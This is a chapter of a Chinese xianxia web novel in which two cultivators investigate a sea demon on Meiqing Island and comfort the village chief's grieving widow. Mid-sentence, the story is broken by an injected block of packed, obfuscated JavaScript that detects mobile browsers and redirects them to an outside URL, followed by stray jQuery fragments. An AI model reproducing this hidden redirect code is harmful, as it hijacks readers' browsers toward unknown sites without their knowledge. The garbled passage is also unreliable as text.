“不是喜事。”
林淮舟神色平静,在人群最外围观摩,用了少量通灵术——在嘈杂的环境中亦能清晰听见彼此的声音。
“你怎么看出来的?”祝珩之奇道。
“因为你没长眼。瞧,他们一个个神色悲哀,双目红肿,倒更像是……丧事。”
一阵海风扑面而来,刚好经过面前的花轿被颠簸了一下,突然,一个头滚了出来!
群众纷纷哗然逃窜。
轿夫很快就把头虔诚地扶了进去,但林淮舟眼尖,一下子便观察到,那花轿里坐着的,是一个盖盖头穿喜服的年轻男子
——肤色苍白透着青紫,皮肉枯竭,骨骼纹理清晰可见,形同一碰就折的枯枝,瞪眼张嘴,显然是被吸干精魂的惨状。
鞭炮声停,登时,喜庆的队伍传来震天动地的哀哭,时而高亢,时而低吟,时而尖锐,时而粗哑,不一会儿,又被铺天盖地的喜乐吞没。
适时,就近的一个大哥看着林淮舟一副美人苦思的模样,贼溜溜地上下打量一番,走近搭讪道:“你是从外地来的吧?”
林淮舟不善主动与这般热情的生人沟通,一下子就噎住了,不知该如何回,只是淡然颌首。
那位大哥肩膀搭上一只大手,祝珩之不知何时退出来,熟络搭背:“不好意思,我们兄弟俩是来探亲的,刚到,人生地不熟,请问到底出什么事儿了?”
“嗨,这就说来话长了,”那大哥道,“你们是不知道,我们湄清岛啊,被妖怪盯上了。一个多月前,凡是去那片黑水湾打鱼的男人,几乎有去无回,出海的第二天,尸体就会被冲回海岸。”
“那花轿里躺着的,是几个天不怕地不怕的小伙子,算是我们岛上力气最大还会点武功的,昨天还好端端的,谁知,还是遇难了。”
林淮舟问:“黑水湾?”
“是啊,那里鱼虾最为丰富,网一撒下去,捞上来的数目,比其他海域打捞得要多好几倍呢,去一次,半个月都不用愁,大家都抢着去了,可谁知,竟然冒犯了那里的海妖,都死好几百人了都,真是造孽啊。”
祝珩之和林淮舟对视一眼,问:“那为什么要把丧事当喜事办?这不合伦理啊。”
那大哥指着走在队伍最前面闭眼撒黄符的八字胡男人,葛巾布袍:“喏,就是他,这个把丧事当喜事办的绝妙主意,就是他出的,说是海妖不喜哀乐,会惊扰到,一发怒,全岛都得陪葬,喜乐反而会让他身心舒畅,心情好了,吃的人也就少了。”
祝珩之没忍住扑哧一声笑出来:“这你们也信?那是不是每天手拉手在海边围着篝火唱唱歌跳跳舞也行啊?”
那大哥怒目圆睁,一脸嫌弃与鄙夷:“去,你们这些外地人懂什么?黄一道长,你们连他都不认得?真是孤陋寡闻,难怪是外乡人。”
“稀罕啊,说来听听。”祝珩之双手抱胸扬起下巴。
“说出来啊,吓死你们,这黄一道长,降妖无数,威名远扬,德高望重,连皇帝都请他进宫做过好几次法事,还被御赐了一块皇帝亲笔题写的牌匾,写着‘尊道贵德’,怎么样?厉害吧?”
祝珩之还算给点面子回应一下,一脸惊讶:“真的?这么厉害哦?那肯定是神仙转世,天神下凡普渡众生啊!大哥,你好眼力!”
“……”林淮舟闭了闭眼,心道荒谬至极。
那大哥被祝珩之这么一捧,心花怒放,开始滔滔不绝道:“在尊贵的黄一道长来之前,我们那个所谓的村长,都请了四五个啦,一点屁用都没有。折腾下来,倒是花了十几两银子,本来祖上一百多代就靠海吃海,这都一个多月不敢出海了,大家伙哪来的收入?”
林淮舟冷冷道:“败类。”
大哥脸色一变:“什么?你说谁?”
祝珩之忙笑嘻嘻解释:“我弟弟没说你们,说的是那些吃屎长大屁股眼吃饭的假道……士!”
最后一个“士”字,他突然尾音上扬渐细,五官拧在一起。
林淮舟若无其事移开踩着他的脚。
那大哥被祝珩之鼓励的眼神完全迷惑了,沉浸在他的世界里,滔滔不绝道:“我看啊,就是那狗屁村长私吞我们的银两,请道士需要多少钱,不用钱的道士一抓一大把,比如我们德高望重的黄一道长就是啦,他非要找那种出价贵的。”
“好了吧,钱没了,人命还在不停搭进去了,还说什么要去天留山请人,到现在这么久了,一个屁音讯都没有,八成啊,卷着我们那二十两银子,跑咯!”
林祝二人默契互视一眼,祝珩之问道:“劳烦问一下,你们村长家在哪儿?”
按照那位大哥的指路,他们找到了村长家,可里面住的,是别的人家,说村长把房子卖了,妻儿都在老家。
弯弯绕绕兜一大圈,可算找到了。
那是一个很小很旧的茅草屋,大概传了三五代人,倘若刮个风下场雨,这破屋子怕是连根拔起抛到九霄云外。
祝珩之敲敲发白生霉的木门:“请问有人在家吗?”
久之,吱呀一声,门往里打开,但只开了一条狭窄的缝,可见门后挂着一沓厚厚的锁链,一个含着哭腔的女人正举着一把刀,颤抖而倔强的声音从里传来:“我丈夫还没回来,求求你们别再来了,他真没有私吞你们的钱,我们已经把房子卖了,一点钱都没有了。”
林祝二人奇怪地互看一眼,祝珩之上前一步道:“请问您是村长夫人吗?我们受村长相邀,自天留山而来,我姓祝,他姓林。”
“天留山?”
须臾,那沓锁链吭啷落地,木门大开,那四十左右光景的女人忙扔下刀,破涕为笑,眼睛布满红血丝:“是的是的,祝道长,林道长,快请进。”
他们一进去,村长夫人急切左顾右盼,里三层外三层把门牢牢锁回去。
院子明亮,整齐铺晒着海带、鱼干、虾干等,一如村长临死前递给林淮舟的那些海货,咸腥味溢满空气。
村长夫人热情地倒了两杯热茶,烫到手也不理,急中带喜问:“二位道长,我丈夫没跟你们一起回来吗?他一大把年纪身体不好,我本来不想让他出远门的,可他死活要去我也没办法。我儿子昨夜出海未归,怕是凶多吉少,我只剩他一个人了。”
说罢,村长夫人眼泪掉个不停,哭得很凶,薄白的嘴唇抖个不停。
面对这种生离死别,祝珩之一张巧嘴都不知该如何提起,只能惋惜道:“夫人,请节哀。”
“什么?”村长夫人一愣。
林淮舟默然,从乾坤袖中化出一坛骨灰、一个装着二十两银子和一些海鲜干货的蒙尘包袱,道:“我们看到他时,他身体已经没有一处是好的了,五脏六腑皆衰竭,几乎是强忍疼痛靠着意志挺到最后,我们……实在无力回天。”
村长夫人颤颤巍巍摸着她亲手在包袱上缝制的“平安”二字,泪如雨下,捶胸顿足:“我就叫你不要去,不要去,怎么就不听呢!就会考虑别人家上有老下有小,出不了远门,那我呢?儿子呢?我们自己家呢?”
话音未落,她两眼一翻,唇色发白,当场晕了过去。
再次睁眼时,她已经躺在床上,像是睡了一觉醒来,胸腔没那么疼,摸着那冰凉的骨灰坛,她心里现在只有淡淡的平静,眼泪却还是不住往下流。
门外,祝珩之坐在小板凳上拿根稻草逗蚂蚁,林淮舟就地打坐静修,他们敏锐地听见屋里低低的啜泣,齐齐抬眼。
祝珩之刚起身,村长夫人便赤脚冲了出来,抱着骨灰跪在他面前,砰砰磕头:“恳请二位道长收服海妖,还我们安宁,让我丈夫在黄泉之下安息!”
林淮舟扶起她:“夫人快快请起,我们前来,正是为了此事。”
祝珩之突然想到什么:“在这之前,我们想先把令郎找回来,给您做伴,您看行吗?”
村长夫人连连点头:“好,好,太感谢了,我只剩他一人了,要是他有个什么三长两短,我也不活了。”
林淮舟不动声色看了祝珩之一眼,那眼里不是一如既往的嫌弃与烦厌,而是夹杂着某种比较柔和的触动。
“杨力他娘!你儿子找到啦!”
村长夫人登时站起来,跑得太急绊掉了一个鞋子,她的手控制不住抖动,压根拿不稳开锁连的钥匙,她咬牙狠狠打自己的手,好不容易捅进去,却怎么也拧不开。
“杨力他娘,快开门,你儿子快不行了!”门外的人催促道。
“快了快了。”她这才意识到自己钥匙用反了,她咬牙涨红了脸,却怎么也拔不出来。
顷刻间,一道蓝光闪过,千层万叠的锁链嘣的一下全断成条状,木门自然大开,村长夫人忍着软了一半的双腿,扶门框爬出去。
紧接着,四人抬着一个担架进来,其上躺着一个浑身湿淋淋粘着沙石的清秀男子,浑身血肉模糊,双目紧闭,脸色青紫,不知死活。
“我的儿啊!!!”村长夫人撕喉嚎啕,几乎又要昏厥过去,祝珩之上前一个箭步扶稳她。
就在此时,林淮舟看见那男子眼皮微动,沉声道:“他没死!”
村长夫人翻上去的眼仁立即落了下来,便见林淮舟指尖闪烁一种神秘的蓝白光,快速在她儿子身上点了几个穴位,后者立即喷出一地海水,咳嗽不止,脸色渐渐红润。
原来,自从海妖作乱以来,害了两百余人变成干尸,直接抛尸海岸,渔民纷纷吓得不敢出海,而大多数人又与店家签过按时供货的契约,眼下没有新鲜的海货,便形同违约。
那可是要赔很多钱的。
一些商家听闻湄清岛有海妖,便直接雇了打手上门催着要货,没货赔钱,没钱索命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379708|184093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,要命就强抢妻儿。
村长不在,个个你推我我推你,吵个不停,就是没人敢去跟商家谈判。
昨天又来了一批打手,不少人被打得躺床不起,村长儿子杨力实在看不过去了,就和几个比较要好的朋友全副武装结伴出海捕鱼,为乡亲们尽量减少困难。
然而,去了六个,只回来了一个。
“到了黑水湾,一开始还顺风顺水,我们还以为没什么事,就开始撒渔网,可没多久,突然来了一阵狂风,天也变暗了,那风越来越大,我们完全没法掉头,整艘船几乎要翻了,天越来越黑,像浓雾一样,看不清楚方向。”
“我和朋友从小在这一片海域长大,我四岁就跟爹出海,没有一个人见过那种鬼地方,然后……”
杨力虚弱地倚在床边看着天花板回忆,他忽而细想到什么,睁大眼睛,抓紧被子身体发抖:“那个妖怪轰的一下从海底冒出来,很大,很大,它像一条鱼,不,又像一只黑色大鸟!会飞!太可怕了,你们知道吗?它……”
林淮舟忽而点了点他额心,他当即昏睡过去。
村长夫人疑惑:“道长,这是……”
“他受了刺激,不宜情绪过于激动,说到这里,便足够了。”林淮舟道。
“多谢林道长,多谢。”
林淮舟颌首,便走了出去,祝珩之跟上去,难得没说一些让他忍不住挥巴掌的话。
不过,两人走在院子里,却安静得很,有点不习惯,林淮舟蓦然停下,居然主动打开话匣子:“你要跟我到什么时候?”
“刚到湄清岛的时候,你是不是有什么话要对我说?”祝珩之脑子不知怎么突然绕回来了。
林淮舟撇开视线:“没什么。”
“哦。”
空气又陷入短暂的沉默。
“你觉得,那个叔灭,是条什么鱼呢?鲫鱼鲈鱼墨鱼鲤鱼鳗鱼?”
林淮舟:“……”
“要是鲈鱼的话,就好了。”
“为什么?”
话一出,林淮舟恨不得咬断自己舌头,怎么和这个白痴一起探讨这种比莲塘淤泥还烂百倍的问题。
祝珩之一脸认真:“鲈鱼不用挑小刺啊,肉质鲜美滑口,多汁清甜,很适合你这个对食物很懒的孕妇,应该很补,再弄点茯苓、天麻、川芎一起清蒸,大补!”
“……”
适时,门外一阵骚动,顷刻间,一群男女气势汹汹,拿着各式各样的农具渔具,像马蜂一样涌了进来。
为首的光头佬恶狠狠道:“杨力!还我儿子的命来!杨力,给老子滚出来!”
“还有我儿子的命,也一并还来!”光头佬身边的一个赤脚大娘也嚷嚷起来。
林淮舟一眼便认出了他们大多数是方才送花轿的人,上前道:“如果没错的话,各位的儿子是自愿出海的吧?”
光头佬颐指气使道:“你是谁?跟你有关系吗?”
赤脚娘凶神恶煞道:“要不是那该死的杨力多次劝说我儿子,他就不会被妖怪榨成人干,都是因为他,为什么只有他一个人活着回来?他凭什么?!”
祝珩之挡在林淮舟身前,脾气很好地劝道:“这位大娘,你要讲话就讲话,靠这么近干嘛呢?这么想让别人知道你有口臭吗?来来来,退,退,退。”
那赤脚娘被祝珩之非常有礼貌地请到距离林淮舟三米以外的地方,她看着面前男人笑眯眯的英俊眉眼,喉咙却像被浆糊黏住了,嘴巴张得再大,也只能发出蚊子般的声音。
“杨力,你个王八羔子,不敢出来是吧?信不信老子拆了你家!”
话罢,那光头佬挥着镰刀就往窗棂砍去,奇怪的是,他一身蛮力,却砍得不深,更怪的是,明明那么浅的坑,他却费尽九牛二虎之力也拔不出来。
无人知晓的宽袖之下,林淮舟指尖灵光闪烁。
这时,人群有个小鼠眼猜,尖声尖气道:“你们不觉得很奇怪吗?海妖什么人都吃,偏偏就放了杨力,凭什么?难不成他跟妖怪有什么私底下的交易?”
一个酒糟鼻上前一步,接话道:“这么一说,倒是有几分道理,譬如,他答应海妖送人给他吃,然后让海妖留他一命,这也说得通啊!难怪其他五个人都死了!”
“对对对!”
“说不定啊,这个杨力,就是那个作恶多端的海妖!妖肯定是不会死的。”
那些村民你一言我一语,越猜越离谱,忽然,砰的一声,屋内一阵好大的动静。
“啊啊啊啊啊啊!妖怪,妖怪来了!”
不少人瞪大眼睛,纷纷惊魂落魄撒腿就跑,剩下的人见到他们跑了,不知所以然也跟着一起跑光了。
而光头佬还在原地,手脚并用哼哧哼哧拔镰刀。
林淮舟施施然走过去:“你不走吗?”